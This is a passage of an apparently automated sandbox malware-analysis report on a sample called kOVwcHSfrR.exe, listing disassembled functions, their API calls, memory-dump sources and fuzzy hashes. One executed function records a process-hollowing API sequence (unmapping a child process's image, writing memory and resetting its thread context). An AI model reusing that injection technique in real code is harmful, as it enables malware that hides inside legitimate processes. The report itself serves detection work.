std::regex_error::regex_error.LIBCPMT ref: 0289FC74

Part of subcall function 0289F914: std::exception::exception.LIBCMT ref: 0289F92E

__CxxThrowException@8.LIBCMT ref: 0289FC82
std::exception::exception.LIBCMT ref: 0289FC9B
__CxxThrowException@8.LIBCMT ref: 0289FCB0

Strings

leM, xrefs: 0289FCA8

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 9843b903074390451174734eb271a3c874b8bdbad1adf60e744ee6461e0ac6cc
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 2E111C7DC0020DBBCF00FFA9D459CDEBB7DAA04340F408566AD2897241EB74A7498F95

Uniqueness

Uniqueness Score: -1.00%

Function 0285F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0285F01F

Part of subcall function 02871602: __FF_MSGBANNER.LIBCMT ref: 02871619
Part of subcall function 02871602: __NMSG_WRITE.LIBCMT ref: 02871620

_malloc.LIBCMT ref: 0285F02B
_wprintf.LIBCMT ref: 0285F03E
_free.LIBCMT ref: 0285F044
_free.LIBCMT ref: 0285F065
_malloc.LIBCMT ref: 0285F06D
_sprintf.LIBCMT ref: 0285F0C0
_wprintf.LIBCMT ref: 0285F0D2
_wprintf.LIBCMT ref: 0285F0DC
_free.LIBCMT ref: 0285F0E5

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e11cbbf28dbb19c425ad2401f56a4678e7cf5ae1483298e84593868086113764
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 661124BE9005602AC261A2B90C15FFF3BDD9F46702F0800A9FF9CD1180DB18DA049BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02861960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 028619C6
__CxxThrowException@8.LIBCMT ref: 028619F1
__CxxThrowException@8.LIBCMT ref: 02861A1A
__CxxThrowException@8.LIBCMT ref: 02861A4B
_memset.LIBCMT ref: 02861A6A
__CxxThrowException@8.LIBCMT ref: 02861A90
_malloc.LIBCMT ref: 02861AA0
_memset.LIBCMT ref: 02861AAB
_sprintf.LIBCMT ref: 02861ACE

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a7a1e4d1e7699fe61d1a049508d7b0c64712bdede2f649b206370c06eb79cd0b
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: A8516175D40209ABDB11DBA5DC4AFEFBBB9FF04745F100025F909F6280EB75AA018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0285F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0285F284
__CxxThrowException@8.LIBCMT ref: 0285F2AF
__CxxThrowException@8.LIBCMT ref: 0285F2DE
__CxxThrowException@8.LIBCMT ref: 0285F30F
_memset.LIBCMT ref: 0285F32E
__CxxThrowException@8.LIBCMT ref: 0285F354
_sprintf.LIBCMT ref: 0285F373

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: ac2593047616cf4a764c9904aab18bf9de7300be267c4b70e5447aef87f6dfdc
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 0651A1B9D40209ABEF10DFA5DC46FEFBB79EB15704F100025FA05F6180D774AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0285F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0285F4B7
__CxxThrowException@8.LIBCMT ref: 0285F4E2
__CxxThrowException@8.LIBCMT ref: 0285F504
__CxxThrowException@8.LIBCMT ref: 0285F535
_memset.LIBCMT ref: 0285F554
__CxxThrowException@8.LIBCMT ref: 0285F57A
_sprintf.LIBCMT ref: 0285F594

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 4e93643031f4726333c0efc3df38e02fe012b2a4ae4bc5b6e0bc919627146338
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 3B518379D40219AADF21DFA5CC46FEFBBB9EB15704F100029FA05F6180DB74A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0289208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 028920C6
__invoke_watson.LIBCMT ref: 02892120
_strlen.LIBCMT ref: 028920D4

Part of subcall function 02875BA8: __getptd_noexit.LIBCMT ref: 02875BA8

_strnlen.LIBCMT ref: 0289215F
__lock.LIBCMT ref: 02892170
__getenv_helper_nolock.LIBCMT ref: 0289217B

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 04b2617d52e1024b9110fad23152a490056aec0a2725dc8875142639918e9142
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 7631F97EA402257BEF216B6C9C01B6E7755AF45B24F184015ED18EB288DB74D540CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 029166D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 029166DD

Part of subcall function 028759BF: __calloc_crt.LIBCMT ref: 028759E2
Part of subcall function 028759BF: __initptd.LIBCMT ref: 02875A04

__calloc_crt.LIBCMT ref: 02916700
__get_sys_err_msg.LIBCMT ref: 0291671E
__invoke_watson.LIBCMT ref: 0291673B
__get_sys_err_msg.LIBCMT ref: 0291676D
__invoke_watson.LIBCMT ref: 0291678B

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 3d0905a8b063348365add6643cac1f07860acfbacd3f772bd0cf5cea8ee299c5
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 6911A37AA0171C6BEB217A2ADC40BBB739DDF407A5F410466FD08E6240E735DD004AE6

Uniqueness

Uniqueness Score: -1.00%

Function 02862670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 028626DB
_memset.LIBCMT ref: 02862A30
_memset.LIBCMT ref: 02862AC0

Strings

D, xrefs: 02862AC8

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 126399cc19b552b3a0f07113efdde47f49b399b48ea215305f335a0282732461
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 68E17C79D0021AEACF24DFA4DD49FEEB7B9BF04304F0440A9E909E6194EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0285D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0285D8EA

Strings

$, xrefs: 0285DAE2
(, xrefs: 0285DAE9
, xrefs: 0285DADB

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: c90f60bd87c22555048baa1398d9a21a422a644b2814b1d28f66e79edd3dd3fa
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0791B279D00268DBEF21CFA4CC49BEEBBB5AF05304F144169D805B7281D7B65A88CF56

Uniqueness

Uniqueness Score: -1.00%

Function 02875CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02875CF4

Strings

U, xrefs: 02875CFD

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: ba8404080b87237441f9767d89c71c4c4bdc103f8848680c1a7f51a6788cee5f
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: F121EB3E60420CAAEB009AA89C45BBE73ADDB45754F904175FD0CC6590FB75ED408AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0286A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0286A858
_memset.LIBCMT ref: 0286A869
_memset.LIBCMT ref: 0286A87A

Strings

p2Q, xrefs: 0286A882

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 2bd7b336f7c25f91fd9ad7e1b847a1972ce0629ada607b2079a1d21f21324f84
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C3F0ED7C698750A9F7217754BC26B857E927B31B48F104088E1182E2E1D3FD778CA79A

Uniqueness

Uniqueness Score: -1.00%

Function 0289FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0289FBF1

Part of subcall function 0288169C: std::exception::_Copy_str.LIBCMT ref: 028816B5

__CxxThrowException@8.LIBCMT ref: 0289FC06

Strings

TeM, xrefs: 0289FBE7, 0289FBFB
TeM, xrefs: 0289FBFE

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 3e50c7a2167c2abdf1af9b38f6b1c5675dd04abd093e6a22841f6f065443346b
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 35D06779C0020CBBCB00FFA9D45DCDEBBB9AA04344F008466A95897241EB74A74A8F95

Uniqueness

Uniqueness Score: -1.00%

Function 0285D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0287197D: __wfsopen.LIBCMT ref: 02871988

_fgetws.LIBCMT ref: 0285D15C

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 123f9daa31e8c015a437a35a4d9cf1eefdf6d72f60d7d92079d577ec99a35a6e
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 6191A37ED002299BCF20DFA8CD457EEB7B5AF04304F180569EC19E7240E775AA54CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0285D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0285D77E
_malloc.LIBCMT ref: 0285D7B2
_malloc.LIBCMT ref: 0285D7C1
_fprintf.LIBCMT ref: 0285D815

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: e9091daa71c20624fdb173c414d05ce3d0419241f60a89f1828ee1e6ee631581
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: F0A172B9C00258DBEF11EFD8C859BDEBBB6AF14304F140028D905B6291D77A5688CBA7

Uniqueness

Uniqueness Score: -1.00%

Function 02872AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02872B2E
__read_nolock.LIBCMT ref: 02872BFE
__filbuf.LIBCMT ref: 02872C21
_memset.LIBCMT ref: 02872C65

Part of subcall function 02875BA8: __getptd_noexit.LIBCMT ref: 02875BA8

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 64ccd67b38e35c6c79a18279643bd8a079beb9780c56a43dc1e8c195f50a2788
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 8E51A37CA00309DBEB258F79888466E77B6AF90328F148729EC39D62D8D774D950CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02891359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0289137D

Part of subcall function 02891A9D: __fltout2.LIBCMT ref: 02891AC6

__cftog_l.LIBCMT ref: 028913A3
__cftoe_l.LIBCMT ref: 028913D5

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 6249c59c4703635b37a6735a2d9cd5399328a45e3c2fcd491b5e115fff67a649
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 4F013D3A40814EBBCF125E88DC098EE3F77BB19354B4C8415FA5D98920D73AC5B1BB82

Uniqueness

Uniqueness Score: -1.00%

Function 02917A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02917A4B

Part of subcall function 02918140: ___BuildCatchObjectHelper.LIBCMT ref: 02918172
Part of subcall function 02918140: ___AdjustPointer.LIBCMT ref: 02918189

_UnwindNestedFrames.LIBCMT ref: 02917A62
___FrameUnwindToState.LIBCMT ref: 02917A74
CallCatchBlock.LIBCMT ref: 02917A98

Memory Dump Source

Source File: 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2850000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: dbc758e5ee2440dbf1d3df40a31f72628c746ff72a75f3ab3efd2a4810da0b2a
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2D01C532400109BBDF12AF96CC05EDA7BAABF88754F158014F91865160D732E961EFA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kOVwcHSfrR.exePID: 7996, Parent PID: 1040COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 026A0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 026A0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 026A016C
CreateProcessA.KERNELBASE(?,00000000), ref: 026A0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 026A0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026A0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 026A029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026A02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026A02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 026A0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 026A032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 026A0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026A03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 026A03E1
ResumeThread.KERNELBASE(00000000), ref: 026A03ED
ExitProcess.KERNEL32(00000000), ref: 026A0412

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 6efc6d064bed2a6c1e946444c760be0038413cdd5d644827e790429d87c72768
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FCB1C674A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 026A0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 026A0533

Strings

mfoaskdfnoa, xrefs: 026A0520, 026A0523
saodkfnosa9uin, xrefs: 026A04DA
0, xrefs: 026A0492
d, xrefs: 026A0584

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 9c50f236d979f672f9ba565c43e0cf2b2d983ec0be3941b6fcdfe6d45a9fe67e
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B9513870D08388DEEB11CBE8C959BDDBFB2AF11708F144058D5487F286C3BA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 026A05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 026A05EC

Strings

o, xrefs: 026A0600
apfHQ, xrefs: 026A05E2, 026A05E5

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5f4f00c45cb7878ccb3d95da5f1a6e1b7f02a233a43897f58c4eab1948510d7e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: FF011E70C0425CEADB14DB98C5283AEBFB5AF41308F1480D9C4092B341D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 025E67C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025E67EE
Module32First.KERNEL32(00000000,00000224), ref: 025E680E

Memory Dump Source

Source File: 0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp, Offset: 025E6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_25e6000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 30c2081f245362af11056aff8678d3cfc2606a05e233297e7e3031c0e70b975b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 23F096312007116FEB243FF5A88DB6E7AECBF99779F100528E653910C0DB70E8454A65

Uniqueness

Uniqueness Score: -1.00%

Function 025E6485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025E64D6

Memory Dump Source

Source File: 0000000B.00000002.1345615414.00000000025E6000.00000040.00000020.00020000.00000000.sdmp, Offset: 025E6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_25e6000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 617862d79dc6c18822f2ab795c7f7a10bf21eeb86a941cbf8a610ad63f478d45
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D0113C79A00208EFDB01DF98C985E99BFF5AF08350F058095FA499B361D371EA90DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 026C6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 026C644E

Part of subcall function 026C9636: __calloc_impl.LIBCMT ref: 026C9645

__calloc_crt.LIBCMT ref: 026C6472
_free.LIBCMT ref: 026C6480
__calloc_crt.LIBCMT ref: 026C648E
_free.LIBCMT ref: 026C649E
_free.LIBCMT ref: 026C64A4
__copytlocinfo_nolock.LIBCMT ref: 026C64B3
__setmbcp_nolock.LIBCMT ref: 026C64D4
_free.LIBCMT ref: 026C64E2
___removelocaleref.LIBCMT ref: 026C64E9
___freetlocinfo.LIBCMT ref: 026C64F0
_free.LIBCMT ref: 026C64F6

Memory Dump Source

Source File: 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_26a0000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 6c68d94b4ef3ef939c6f11d5143a279c715edbc1b684d5c968183b4b91025010
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 3921A171144600AFEB257F65DC01E3B7BEAEF81760BB0C02EE449961A5EB32D550CE9C

Uniqueness

Uniqueness Score: -1.00%

Function 026C3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 026C3F51

Part of subcall function 026C5BA8: __getptd_noexit.LIBCMT ref: 026C5BA8

